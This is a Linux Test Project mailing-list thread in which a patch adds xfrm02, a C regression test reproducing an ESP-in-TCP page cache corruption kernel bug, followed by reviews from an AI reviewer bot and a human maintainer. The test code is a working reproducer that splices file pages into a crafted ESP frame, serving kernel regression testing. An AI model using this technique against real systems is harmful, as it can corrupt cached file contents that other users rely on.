Linux Test Project
 help / color / mirror / Atom feed
* [LTP] [PATCH v2] sockets/xfrm02: Add ESP-in-TCP page cache corruption test
@ 2026-05-13 15:35 Andrea Cervesato
  2026-05-13 16:29 ` [LTP] " linuxtestproject.agent
  2026-05-13 16:35 ` [LTP] [PATCH v2] " Martin Doucha
  0 siblings, 2 replies; 6+ messages in thread
From: Andrea Cervesato @ 2026-05-13 15:35 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

Verify that ESP-in-TCP (espintcp) does not corrupt the page cache when
file data is spliced into a TCP socket. When MSG_SPLICE_PAGES references
page cache pages directly in the skb and the receiving socket has
espintcp ULP enabled, the kernel's ESP handler may decrypt the payload
in-place on those pages, corrupting the cached file contents.

The test sets up an ESP-in-TCP xfrm state on IPv6 loopback, writes
known data to a file, creates a TCP connection where the receiver
enables espintcp ULP, splices the file data into the TCP socket as
part of a crafted ESP-in-TCP frame, and then verifies whether the
page cache was corrupted.

Reproducer based on:
https://github.com/v12-security/pocs/tree/main/fragnesia

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v2:
- use tst_cmd()
- evict pages before sending prefix
- remove checkpoints
- add usleep() to trigger the bug
- use tst_reap_children()
- Link to v1: https://lore.kernel.org/r/20260513-fragnesia-v1-1-80c5b3b09005@suse.com
---
 runtest/cve                          |   1 +
 testcases/network/sockets/.gitignore |   1 +
 testcases/network/sockets/xfrm02.c   | 227 +++++++++++++++++++++++++++++++++++
 3 files changed, 229 insertions(+)

diff --git a/runtest/cve b/runtest/cve
index 530f8751ed3a8e8aa7e9110d89d577df3e8cc6ce..5fe83ec2d1803a5c0f6b4eba05fcf00cc80c8809 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -95,3 +95,4 @@ cve-2025-38236 cve-2025-38236
 cve-2025-21756 cve-2025-21756
 cve-2026-31431 af_alg08
 cve-2026-43284 xfrm01
+cve-2026-fragnesia xfrm02
diff --git a/testcases/network/sockets/.gitignore b/testcases/network/sockets/.gitignore
index 6f3c0ad84c000f0214f371c6a601afb592b15faa..35bc0462b676b041d9a5b52a37fded973d0157a9 100644
--- a/testcases/network/sockets/.gitignore
+++ b/testcases/network/sockets/.gitignore
@@ -1 +1,2 @@
 /xfrm01
+/xfrm02
diff --git a/testcases/network/sockets/xfrm02.c b/testcases/network/sockets/xfrm02.c
new file mode 100644
index 0000000000000000000000000000000000000000..d7fe70e3d242227c374b5c9b876c8efeeb0e1f5d
--- /dev/null
+++ b/testcases/network/sockets/xfrm02.c
@@ -0,0 +1,227 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Verify that ESP-in-TCP (espintcp) does not corrupt the page cache
+ * when file data is spliced into a TCP socket.
+ *
+ * When file data is spliced into a TCP socket, the kernel uses
+ * MSG_SPLICE_PAGES to reference page cache pages directly in the skb.
+ * If the receiving socket has TCP_ULP "espintcp" enabled and a matching
+ * xfrm SA exists, the kernel's ESP handler decrypts the payload
+ * in-place on those page cache pages, corrupting the cached file
+ * contents.
+ *
+ * The test sets up an ESP-in-TCP xfrm state on IPv6 loopback, writes
+ * known data to a file, creates a TCP connection where the receiver
+ * enables espintcp ULP, splices the file data into the TCP socket as
+ * part of a crafted ESP-in-TCP frame, and then verifies whether the
+ * page cache was corrupted.
+ *
+ * Reproducer based on:
+ * https://github.com/v12-security/pocs/tree/main/fragnesia
+ */
+
+#define _GNU_SOURCE
+
+#include "tst_test.h"
+#include "tst_net.h"
+#include "tst_netdevice.h"
+#include "lapi/tcp.h"
+#include "lapi/splice.h"
+
+#define TESTFILE "pagecache_test"
+#define DATA_SIZE 4096
+
+#define SPI 0x100
+#define TCP_PORT 5556
+#define IV_LEN 8
+#define ESP_HDR_SIZE 16
+#define AES_KEYLEN 16
+#define SALT_LEN 4
+#define KEYTOTAL (AES_KEYLEN + SALT_LEN)
+
+/* ESP-in-TCP frame prefix: 2-byte length + ESP header */
+#define PREFIX_SIZE (2 + ESP_HDR_SIZE)
+
+static const uint8_t aead_key[KEYTOTAL] = {
+	0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
+	0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff,
+	0x01, 0x02, 0x03, 0x04
+};
+
+static uint8_t original[DATA_SIZE];
+static int file_fd = -1;
+static int srv_fd = -1;
+
+static void setup(void)
+{
+	char keyhex[KEYTOTAL * 2 + 3];
+	char spihex[16];
+	char port_str[8];
+	int i, ret;
+
+	tst_setup_netns();
+	NETDEV_SET_STATE("lo", 1);
+
+	keyhex[0] = '0';
+	keyhex[1] = 'x';
+	for (i = 0; i < KEYTOTAL; i++)
+		sprintf(keyhex + 2 + i * 2, "%02x", aead_key[i]);
+
+	snprintf(spihex, sizeof(spihex), "0x%08x", SPI);
+	snprintf(port_str, sizeof(port_str), "%d", TCP_PORT);
+
+	const char *const xfrm_cmd[] = {
+		"ip", "xfrm", "state", "add",
+		"src", "::1", "dst", "::1",
+		"proto", "esp", "spi", spihex,
+		"encap", "espintcp", port_str, port_str, "::",
+		"aead", "rfc4106(gcm(aes))", keyhex, "128",
+		"mode", "transport",
+		NULL
+	};
+
+	ret = tst_cmd(xfrm_cmd, NULL, NULL, TST_CMD_PASS_RETVAL);
+	if (ret)
+		tst_brk(TBROK, "Failed to install xfrm ESP-in-TCP state");
+
+	for (i = 0; i < DATA_SIZE; i++)
+		original[i] = (uint8_t)(i & 0xff);
+}
+
+static void try_corrupt(void)
+{
+	struct sockaddr_in6 addr = {
+		.sin6_family = AF_INET6,
+		.sin6_addr = IN6ADDR_LOOPBACK_INIT,
+		.sin6_port = htons(TCP_PORT),
+	};
+	uint8_t prefix[PREFIX_SIZE];
+	uint16_t frame_len;
+	uint32_t spi_net, seq_net;
+	char ulp[] = "espintcp";
+	int acc_fd;
+	loff_t off;
+
+	frame_len = htons(PREFIX_SIZE + DATA_SIZE);
+	memcpy(prefix, &frame_len, 2);
+
+	spi_net = htonl(SPI);
+	memcpy(prefix + 2, &spi_net, 4);
+
+	seq_net = htonl(1);
+	memcpy(prefix + 6, &seq_net, 4);
+
+	memset(prefix + 10, 0xcc, IV_LEN);
+
+	srv_fd = SAFE_SOCKET(AF_INET6, SOCK_STREAM, 0);
+	SAFE_SETSOCKOPT_INT(srv_fd, SOL_SOCKET, SO_REUSEADDR, 1);
+	SAFE_BIND(srv_fd, (struct sockaddr *)&addr, sizeof(addr));
+	SAFE_LISTEN(srv_fd, 1);
+
+	if (!SAFE_FORK()) {
+		int cli_fd, pipefd[2];
+
+		SAFE_CLOSE(srv_fd);
+
+		cli_fd = SAFE_SOCKET(AF_INET6, SOCK_STREAM, 0);
+		SAFE_SETSOCKOPT_INT(cli_fd, IPPROTO_TCP, TCP_NODELAY, 1);
+		SAFE_CONNECT(cli_fd, (struct sockaddr *)&addr, sizeof(addr));
+
+		SAFE_POSIX_FADVISE(cli_fd, 0, 0, POSIX_FADV_DONTNEED);
+
+		SAFE_SEND(1, cli_fd, prefix, sizeof(prefix), 0);
+		SAFE_PIPE(pipefd);
+
+		off = 0;
+		SAFE_SPLICE(file_fd, &off, pipefd[1], NULL, DATA_SIZE, 0);
+
+		/*
+		 * Splice pipe into TCP socket. The kernel uses
+		 * MSG_SPLICE_PAGES to keep page cache references in
+		 * the skb. On loopback the receiver's ESP handler may
+		 * decrypt in-place, corrupting the page cache. May
+		 * fail on patched kernels.
+		 */
+		splice(pipefd[0], NULL, cli_fd, NULL, DATA_SIZE, 0);
+
+		SAFE_CLOSE(pipefd[0]);
+		SAFE_CLOSE(pipefd[1]);
+		SAFE_CLOSE(cli_fd);
+
+		exit(0);
+	}
+
+	tst_reap_children();
+
+	acc_fd = SAFE_ACCEPT(srv_fd, NULL, NULL);
+	SAFE_CLOSE(srv_fd);
+
+	SAFE_SETSOCKOPT(acc_fd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp));
+
+	/* Let the espintcp strparser process buffered ESP data */
+	usleep(30000);
+
+	SAFE_CLOSE(acc_fd);
+}
+
+static void run(void)
+{
+	uint8_t readback[DATA_SIZE];
+
+	file_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
+	SAFE_WRITE(SAFE_WRITE_ALL, file_fd, original, DATA_SIZE);
+	SAFE_CLOSE(file_fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	try_corrupt();
+	SAFE_CLOSE(file_fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	SAFE_READ(1, file_fd, readback, sizeof(readback));
+	SAFE_CLOSE(file_fd);
+
+	if (memcmp(readback, original, DATA_SIZE) != 0)
+		tst_res(TFAIL, "Page cache corrupted via xfrm ESP-in-TCP splice");
+	else
+		tst_res(TPASS, "Page cache was not corrupted");
+
+	SAFE_UNLINK(TESTFILE);
+}
+
+static void cleanup(void)
+{
+	if (srv_fd != -1)
+		SAFE_CLOSE(srv_fd);
+
+	if (file_fd != -1)
+		SAFE_CLOSE(file_fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS=y",
+		"CONFIG_NET_NS=y",
+		"CONFIG_XFRM",
+		"CONFIG_INET6_ESP",
+		"CONFIG_INET6_ESPINTCP",
+		"CONFIG_CRYPTO_GCM",
+		NULL
+	},
+	.save_restore = (const struct tst_path_val[]) {
+		{"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP},
+		{}
+	},
+	.needs_cmds = (struct tst_cmd[]) {
+		{.cmd = "ip"},
+		{}
+	},
+};

---
base-commit: e1fc50957c98ae4c27064756e063de0e7136cde3
change-id: 20260513-fragnesia-9588d855becf

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 6+ messages in thread

* Re: [LTP] sockets/xfrm02: Add ESP-in-TCP page cache corruption test
  2026-05-13 14:36 [LTP] [PATCH] " Andrea Cervesato
@ 2026-05-13 16:27 ` linuxtestproject.agent
  0 siblings, 0 replies; 6+ messages in thread
From: linuxtestproject.agent @ 2026-05-13 16:27 UTC (permalink / raw)
  To: Andrea Cervesato; +Cc: ltp

Hi Andrea,

On 2026-05-13, Andrea Cervesato wrote:
> sockets/xfrm02: Add ESP-in-TCP page cache corruption test

> +	acc_fd = SAFE_ACCEPT(srv_fd, NULL, NULL);
> +	SAFE_CLOSE(srv_fd);

srv_fd is not reset to -1 after this close. cleanup() checks
`srv_fd != -1` and will double-close the stale descriptor. Add
`srv_fd = -1;` here.

> +	file_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
> +	SAFE_WRITE(SAFE_WRITE_ALL, file_fd, original, DATA_SIZE);
> +	SAFE_CLOSE(file_fd);
[...]
> +	SAFE_CLOSE(file_fd);
[...]
> +	SAFE_CLOSE(file_fd);

Same problem for file_fd: none of the three SAFE_CLOSE calls in run()
reset file_fd to -1, so cleanup() will double-close it. Add
`file_fd = -1;` after each one.

> +	splice(pipefd[0], NULL, cli_fd, NULL, DATA_SIZE, 0);

SAFE_SPLICE exists. If failure on patched kernels must be tolerated,
capture the return in a local variable and add a comment explaining
why the error is intentionally ignored.

---
Note:

Our agent completed the review of the patch. The full review can be
found at: https://patchwork.ozlabs.org/project/ltp/list/?series=504173

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: [LTP] sockets/xfrm02: Add ESP-in-TCP page cache corruption test
  2026-05-13 15:35 [LTP] [PATCH v2] sockets/xfrm02: Add ESP-in-TCP page cache corruption test Andrea Cervesato
@ 2026-05-13 16:29 ` linuxtestproject.agent
  2026-05-13 16:42   ` Martin Doucha
  2026-05-13 16:35 ` [LTP] [PATCH v2] " Martin Doucha
  1 sibling, 1 reply; 6+ messages in thread
From: linuxtestproject.agent @ 2026-05-13 16:29 UTC (permalink / raw)
  To: Andrea Cervesato; +Cc: ltp

Hi Andrea,

On Wed, 13 May 2026 17:35:03 +0200, Andrea Cervesato wrote:
> sockets/xfrm02: Add ESP-in-TCP page cache corruption test

> +		SAFE_POSIX_FADVISE(cli_fd, 0, 0, POSIX_FADV_DONTNEED);

posix_fadvise(2) is only valid for regular files; on a socket fd it
returns ESPIPE, causing SAFE_POSIX_FADVISE to call tst_brk(TBROK) in
the child and the test never actually exercises the corruption path.
Replace with SAFE_POSIX_FADVISE(file_fd, 0, DATA_SIZE, POSIX_FADV_DONTNEED).

> +	/* Let the espintcp strparser process buffered ESP data */
> +	usleep(30000);

Sleep-based synchronization is not allowed (G2). Use poll() on acc_fd
waiting for POLLIN to detect when the strparser has consumed the data.

> +	acc_fd = SAFE_ACCEPT(srv_fd, NULL, NULL);
> +	SAFE_CLOSE(srv_fd);

srv_fd is not reset to -1 after close here; cleanup() will find
srv_fd != -1 and attempt a double-close, hitting TBROK on every run.
Add `srv_fd = -1;` after SAFE_CLOSE(srv_fd).

> +cve-2026-fragnesia xfrm02

Please confirm whether the fix for this CVE is in kernel 7.1 (current
stable). If not, this belongs in runtest/staging with a [STAGING]
prefix in the commit subject.

---
Note:

Our agent completed the review of the patch. The full review can be
found at: https://github.com/linux-test-project/ltp-agent/actions/runs/25811801064

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: [LTP] [PATCH v2] sockets/xfrm02: Add ESP-in-TCP page cache corruption test
  2026-05-13 15:35 [LTP] [PATCH v2] sockets/xfrm02: Add ESP-in-TCP page cache corruption test Andrea Cervesato
  2026-05-13 16:29 ` [LTP] " linuxtestproject.agent
@ 2026-05-13 16:35 ` Martin Doucha
  1 sibling, 0 replies; 6+ messages in thread
From: Martin Doucha @ 2026-05-13 16:35 UTC (permalink / raw)
  To: Andrea Cervesato, Linux Test Project

Hi,
two minor fixes that can be done during merge:
- The bug has a CVE now: CVE-2026-46300
- One issue below.

Tested on kernels v5.14 and v6.12.

Reviewed-by: Martin Doucha <mdoucha@suse.cz>

On 5/13/26 17:35, Andrea Cervesato wrote:
> From: Andrea Cervesato <andrea.cervesato@suse.com>
> 
> Verify that ESP-in-TCP (espintcp) does not corrupt the page cache when
> file data is spliced into a TCP socket. When MSG_SPLICE_PAGES references
> page cache pages directly in the skb and the receiving socket has
> espintcp ULP enabled, the kernel's ESP handler may decrypt the payload
> in-place on those pages, corrupting the cached file contents.
> 
> The test sets up an ESP-in-TCP xfrm state on IPv6 loopback, writes
> known data to a file, creates a TCP connection where the receiver
> enables espintcp ULP, splices the file data into the TCP socket as
> part of a crafted ESP-in-TCP frame, and then verifies whether the
> page cache was corrupted.
> 
> Reproducer based on:
> https://github.com/v12-security/pocs/tree/main/fragnesia
> 
> Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
> ---
> Changes in v2:
> - use tst_cmd()
> - evict pages before sending prefix
> - remove checkpoints
> - add usleep() to trigger the bug
> - use tst_reap_children()
> - Link to v1: https://lore.kernel.org/r/20260513-fragnesia-v1-1-80c5b3b09005@suse.com
> ---
>   runtest/cve                          |   1 +
>   testcases/network/sockets/.gitignore |   1 +
>   testcases/network/sockets/xfrm02.c   | 227 +++++++++++++++++++++++++++++++++++
>   3 files changed, 229 insertions(+)
> 
> diff --git a/runtest/cve b/runtest/cve
> index 530f8751ed3a8e8aa7e9110d89d577df3e8cc6ce..5fe83ec2d1803a5c0f6b4eba05fcf00cc80c8809 100644
> --- a/runtest/cve
> +++ b/runtest/cve
> @@ -95,3 +95,4 @@ cve-2025-38236 cve-2025-38236
>   cve-2025-21756 cve-2025-21756
>   cve-2026-31431 af_alg08
>   cve-2026-43284 xfrm01
> +cve-2026-fragnesia xfrm02
> diff --git a/testcases/network/sockets/.gitignore b/testcases/network/sockets/.gitignore
> index 6f3c0ad84c000f0214f371c6a601afb592b15faa..35bc0462b676b041d9a5b52a37fded973d0157a9 100644
> --- a/testcases/network/sockets/.gitignore
> +++ b/testcases/network/sockets/.gitignore
> @@ -1 +1,2 @@
>   /xfrm01
> +/xfrm02
> diff --git a/testcases/network/sockets/xfrm02.c b/testcases/network/sockets/xfrm02.c
> new file mode 100644
> index 0000000000000000000000000000000000000000..d7fe70e3d242227c374b5c9b876c8efeeb0e1f5d
> --- /dev/null
> +++ b/testcases/network/sockets/xfrm02.c
> @@ -0,0 +1,227 @@
> +// SPDX-License-Identifier: GPL-2.0-or-later
> +/*
> + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
> + */
> +
> +/*\
> + * Verify that ESP-in-TCP (espintcp) does not corrupt the page cache
> + * when file data is spliced into a TCP socket.
> + *
> + * When file data is spliced into a TCP socket, the kernel uses
> + * MSG_SPLICE_PAGES to reference page cache pages directly in the skb.
> + * If the receiving socket has TCP_ULP "espintcp" enabled and a matching
> + * xfrm SA exists, the kernel's ESP handler decrypts the payload
> + * in-place on those page cache pages, corrupting the cached file
> + * contents.
> + *
> + * The test sets up an ESP-in-TCP xfrm state on IPv6 loopback, writes
> + * known data to a file, creates a TCP connection where the receiver
> + * enables espintcp ULP, splices the file data into the TCP socket as
> + * part of a crafted ESP-in-TCP frame, and then verifies whether the
> + * page cache was corrupted.
> + *
> + * Reproducer based on:
> + * https://github.com/v12-security/pocs/tree/main/fragnesia
> + */
> +
> +#define _GNU_SOURCE
> +
> +#include "tst_test.h"
> +#include "tst_net.h"
> +#include "tst_netdevice.h"
> +#include "lapi/tcp.h"
> +#include "lapi/splice.h"
> +
> +#define TESTFILE "pagecache_test"
> +#define DATA_SIZE 4096
> +
> +#define SPI 0x100
> +#define TCP_PORT 5556
> +#define IV_LEN 8
> +#define ESP_HDR_SIZE 16
> +#define AES_KEYLEN 16
> +#define SALT_LEN 4
> +#define KEYTOTAL (AES_KEYLEN + SALT_LEN)
> +
> +/* ESP-in-TCP frame prefix: 2-byte length + ESP header */
> +#define PREFIX_SIZE (2 + ESP_HDR_SIZE)
> +
> +static const uint8_t aead_key[KEYTOTAL] = {
> +	0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
> +	0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff,
> +	0x01, 0x02, 0x03, 0x04
> +};
> +
> +static uint8_t original[DATA_SIZE];
> +static int file_fd = -1;
> +static int srv_fd = -1;
> +
> +static void setup(void)
> +{
> +	char keyhex[KEYTOTAL * 2 + 3];
> +	char spihex[16];
> +	char port_str[8];
> +	int i, ret;
> +
> +	tst_setup_netns();
> +	NETDEV_SET_STATE("lo", 1);
> +
> +	keyhex[0] = '0';
> +	keyhex[1] = 'x';
> +	for (i = 0; i < KEYTOTAL; i++)
> +		sprintf(keyhex + 2 + i * 2, "%02x", aead_key[i]);
> +
> +	snprintf(spihex, sizeof(spihex), "0x%08x", SPI);
> +	snprintf(port_str, sizeof(port_str), "%d", TCP_PORT);
> +
> +	const char *const xfrm_cmd[] = {
> +		"ip", "xfrm", "state", "add",
> +		"src", "::1", "dst", "::1",
> +		"proto", "esp", "spi", spihex,
> +		"encap", "espintcp", port_str, port_str, "::",
> +		"aead", "rfc4106(gcm(aes))", keyhex, "128",
> +		"mode", "transport",
> +		NULL
> +	};
> +
> +	ret = tst_cmd(xfrm_cmd, NULL, NULL, TST_CMD_PASS_RETVAL);
> +	if (ret)
> +		tst_brk(TBROK, "Failed to install xfrm ESP-in-TCP state");
> +
> +	for (i = 0; i < DATA_SIZE; i++)
> +		original[i] = (uint8_t)(i & 0xff);
> +}
> +
> +static void try_corrupt(void)
> +{
> +	struct sockaddr_in6 addr = {
> +		.sin6_family = AF_INET6,
> +		.sin6_addr = IN6ADDR_LOOPBACK_INIT,
> +		.sin6_port = htons(TCP_PORT),
> +	};
> +	uint8_t prefix[PREFIX_SIZE];
> +	uint16_t frame_len;
> +	uint32_t spi_net, seq_net;
> +	char ulp[] = "espintcp";
> +	int acc_fd;
> +	loff_t off;
> +
> +	frame_len = htons(PREFIX_SIZE + DATA_SIZE);
> +	memcpy(prefix, &frame_len, 2);
> +
> +	spi_net = htonl(SPI);
> +	memcpy(prefix + 2, &spi_net, 4);
> +
> +	seq_net = htonl(1);
> +	memcpy(prefix + 6, &seq_net, 4);
> +
> +	memset(prefix + 10, 0xcc, IV_LEN);
> +
> +	srv_fd = SAFE_SOCKET(AF_INET6, SOCK_STREAM, 0);
> +	SAFE_SETSOCKOPT_INT(srv_fd, SOL_SOCKET, SO_REUSEADDR, 1);
> +	SAFE_BIND(srv_fd, (struct sockaddr *)&addr, sizeof(addr));
> +	SAFE_LISTEN(srv_fd, 1);
> +
> +	if (!SAFE_FORK()) {
> +		int cli_fd, pipefd[2];
> +
> +		SAFE_CLOSE(srv_fd);
> +
> +		cli_fd = SAFE_SOCKET(AF_INET6, SOCK_STREAM, 0);
> +		SAFE_SETSOCKOPT_INT(cli_fd, IPPROTO_TCP, TCP_NODELAY, 1);
> +		SAFE_CONNECT(cli_fd, (struct sockaddr *)&addr, sizeof(addr));
> +
> +		SAFE_POSIX_FADVISE(cli_fd, 0, 0, POSIX_FADV_DONTNEED);
> +
> +		SAFE_SEND(1, cli_fd, prefix, sizeof(prefix), 0);
> +		SAFE_PIPE(pipefd);
> +
> +		off = 0;
> +		SAFE_SPLICE(file_fd, &off, pipefd[1], NULL, DATA_SIZE, 0);
> +
> +		/*
> +		 * Splice pipe into TCP socket. The kernel uses
> +		 * MSG_SPLICE_PAGES to keep page cache references in
> +		 * the skb. On loopback the receiver's ESP handler may
> +		 * decrypt in-place, corrupting the page cache. May
> +		 * fail on patched kernels.
> +		 */
> +		splice(pipefd[0], NULL, cli_fd, NULL, DATA_SIZE, 0);
> +
> +		SAFE_CLOSE(pipefd[0]);
> +		SAFE_CLOSE(pipefd[1]);
> +		SAFE_CLOSE(cli_fd);
> +
> +		exit(0);
> +	}
> +
> +	tst_reap_children();
> +
> +	acc_fd = SAFE_ACCEPT(srv_fd, NULL, NULL);
> +	SAFE_CLOSE(srv_fd);

tst_reap_children() should be called here, after accepting the 
connection and closing the listen socket.

> +
> +	SAFE_SETSOCKOPT(acc_fd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp));
> +
> +	/* Let the espintcp strparser process buffered ESP data */
> +	usleep(30000);
> +
> +	SAFE_CLOSE(acc_fd);
> +}
> +
> +static void run(void)
> +{
> +	uint8_t readback[DATA_SIZE];
> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
> +	SAFE_WRITE(SAFE_WRITE_ALL, file_fd, original, DATA_SIZE);
> +	SAFE_CLOSE(file_fd);
> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +	try_corrupt();
> +	SAFE_CLOSE(file_fd);
> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +	SAFE_READ(1, file_fd, readback, sizeof(readback));
> +	SAFE_CLOSE(file_fd);
> +
> +	if (memcmp(readback, original, DATA_SIZE) != 0)
> +		tst_res(TFAIL, "Page cache corrupted via xfrm ESP-in-TCP splice");
> +	else
> +		tst_res(TPASS, "Page cache was not corrupted");
> +
> +	SAFE_UNLINK(TESTFILE);
> +}
> +
> +static void cleanup(void)
> +{
> +	if (srv_fd != -1)
> +		SAFE_CLOSE(srv_fd);
> +
> +	if (file_fd != -1)
> +		SAFE_CLOSE(file_fd);
> +}
> +
> +static struct tst_test test = {
> +	.test_all = run,
> +	.setup = setup,
> +	.cleanup = cleanup,
> +	.needs_tmpdir = 1,
> +	.forks_child = 1,
> +	.needs_kconfigs = (const char *[]) {
> +		"CONFIG_USER_NS=y",
> +		"CONFIG_NET_NS=y",
> +		"CONFIG_XFRM",
> +		"CONFIG_INET6_ESP",
> +		"CONFIG_INET6_ESPINTCP",
> +		"CONFIG_CRYPTO_GCM",
> +		NULL
> +	},
> +	.save_restore = (const struct tst_path_val[]) {
> +		{"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP},
> +		{}
> +	},
> +	.needs_cmds = (struct tst_cmd[]) {
> +		{.cmd = "ip"},
> +		{}
> +	},
> +};
> 
> ---
> base-commit: e1fc50957c98ae4c27064756e063de0e7136cde3
> change-id: 20260513-fragnesia-9588d855becf
> 
> Best regards,


-- 
Martin Doucha   mdoucha@suse.cz
SW Quality Engineer
SUSE LINUX, s.r.o.
CORSO IIa
Krizikova 148/34
186 00 Prague 8
Czech Republic

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: [LTP] sockets/xfrm02: Add ESP-in-TCP page cache corruption test
  2026-05-13 16:29 ` [LTP] " linuxtestproject.agent
@ 2026-05-13 16:42   ` Martin Doucha
  0 siblings, 0 replies; 6+ messages in thread
From: Martin Doucha @ 2026-05-13 16:42 UTC (permalink / raw)
  To: linuxtestproject.agent, Andrea Cervesato; +Cc: ltp

On 5/13/26 18:29, linuxtestproject.agent@gmail.com wrote:
> Hi Andrea,
> 
> On Wed, 13 May 2026 17:35:03 +0200, Andrea Cervesato wrote:
>> sockets/xfrm02: Add ESP-in-TCP page cache corruption test
> 
>> +		SAFE_POSIX_FADVISE(cli_fd, 0, 0, POSIX_FADV_DONTNEED);
> 
> posix_fadvise(2) is only valid for regular files; on a socket fd it
> returns ESPIPE, causing SAFE_POSIX_FADVISE to call tst_brk(TBROK) in
> the child and the test never actually exercises the corruption path.
> Replace with SAFE_POSIX_FADVISE(file_fd, 0, DATA_SIZE, POSIX_FADV_DONTNEED).

Ah, yes. As the AI correctly notes, the first argument here should be 
file_fd instead. Please fix that during merge. The rest of AI review is 
nonsense, except for the missing CVE number.

-- 
Martin Doucha   mdoucha@suse.cz
SW Quality Engineer
SUSE LINUX, s.r.o.
CORSO IIa
Krizikova 148/34
186 00 Prague 8
Czech Republic

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: [LTP] sockets/xfrm02: Add ESP-in-TCP page cache corruption test
  2026-05-13 17:46 [LTP] [PATCH v3] " Andrea Cervesato
@ 2026-05-13 19:01 ` linuxtestproject.agent
  0 siblings, 0 replies; 6+ messages in thread
From: linuxtestproject.agent @ 2026-05-13 19:01 UTC (permalink / raw)
  To: Andrea Cervesato; +Cc: ltp

Hi Andrea,

On Wed, 13 May 2026, Andrea Cervesato wrote:
> sockets/xfrm02: Add ESP-in-TCP page cache corruption test

> +	/* Let the espintcp strparser process buffered ESP data */
> +	usleep(30000);

Sleep-based synchronization is not allowed. Use an event-based mechanism
(e.g. poll the accepted socket for readability) instead of a fixed sleep.

[...]

> +		splice(pipefd[0], NULL, cli_fd, NULL, DATA_SIZE, 0);

SAFE_SPLICE() exists; use it, or wrap in TEST() if failure on patched kernels
is expected. The return value must not be silently discarded.

[...]

> +static int srv_fd = -1;
[...]
> +	SAFE_CLOSE(srv_fd);
[...]
> +	if (srv_fd != -1)
> +		SAFE_CLOSE(srv_fd);

srv_fd and file_fd are closed inside try_corrupt()/run() but never reset to
-1, so cleanup() calls SAFE_CLOSE() on already-closed fds (EBADF). Assign -1
after each SAFE_CLOSE() on these globals.

---
Note:

Our agent completed the review of the patch. The full review can be
found at: https://github.com/linux-test-project/ltp-agent/actions/runs/25819929958

The agent can sometimes produce false positives although often its findings
are genuine. If you find issues with the review, please comment this email
or ignore the suggestions.

Regards,
LTP AI Reviewer

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 6+ messages in thread

end of thread, other threads:[~2026-05-13 19:02 UTC | newest]

Thread overview: 6+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-05-13 15:35 [LTP] [PATCH v2] sockets/xfrm02: Add ESP-in-TCP page cache corruption test Andrea Cervesato
2026-05-13 16:29 ` [LTP] " linuxtestproject.agent
2026-05-13 16:42   ` Martin Doucha
2026-05-13 16:35 ` [LTP] [PATCH v2] " Martin Doucha
  -- strict thread matches above, loose matches on Subject: below --
2026-05-13 17:46 [LTP] [PATCH v3] " Andrea Cervesato
2026-05-13 19:01 ` [LTP] " linuxtestproject.agent
2026-05-13 14:36 [LTP] [PATCH] " Andrea Cervesato
2026-05-13 16:27 ` [LTP] " linuxtestproject.agent

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox